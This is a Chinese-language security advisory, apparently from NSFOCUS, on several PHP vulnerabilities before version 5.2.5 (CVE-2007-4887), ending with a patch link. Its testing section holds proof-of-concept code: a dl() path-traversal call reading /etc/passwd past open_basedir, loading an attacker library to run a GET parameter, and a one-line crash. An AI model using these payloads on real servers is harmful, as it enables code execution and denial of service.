安全研究

安全漏洞
PHP 5.2.5之前版本多个安全漏洞

发布日期:2007-11-08
更新日期:2007-11-13

受影响系统:
PHP PHP < 5.2.5
不受影响系统:
PHP PHP 5.2.5
描述:
BUGTRAQ  ID: 26403
CVE(CAN) ID: CVE-2007-4887

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的5.2.5之前版本中存在多个安全漏洞,具体包括:

1) htmlentities和htmlspecialchars函数中不会接受部分多字节序列;
2) fnmatch()、setlocale()和glob()函数中存在多个缓冲区溢出;
3) 处理.htaccess文件中的错误可能导致通过.htaccess文件修改mail.force_extra_parameters php.ini指令,绕过disable_functions指令;
4) 处理变量中的错误可能导致通过ini_set()函数覆盖httpd.conf中所设置的值。

<*来源:Rasmus Lerdorf
        laurent gaffié (laurent.gaffié@gmail.com)
  
  链接:http://marc.info/?l=bugtraq&m=118944032814749&w=2
        http://secunia.com/advisories/21546/print/
        http://www.php.net/ChangeLog-5.php#5.2.5
        http://www.php.net/releases/5_2_5.php
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/


Proof of concept example :
/*enable by default in php.ini for php 5.2.x */

<?php
dl("../../../../../../../../../../../../../../etc/passwd")
output --->
Warning: dl() [function.dl]: Unable to load dynamic library \
'./../../../../../../../../../etc/passwd' - ./../../../../../../../../../etc/passwd: \
invalid ELF header in /usr/local/apache2/htdocs/3.php on line 2

ya right ... /etc/passwd dont have any ELF header .
but we agree that it's not checked in anyway by open_basedir.
fine then bypassed .
then :
<?php
dl("./../../../../../../../../../../../home/myuser/www//my_powning_lib/pwned.so");
$a = powningfunction($_GET['lets_exec_for_fun']);
print_r($a);
?>

拒绝服务:
debian:/home/mwoa# php -r'dl(str_repeat("0",27999991));'
Erreur de segmentation
debian:/home/lorenzo#

建议:
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/get/php-5.2.5.tar.bz2/from/a/mirror

浏览次数:3195
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障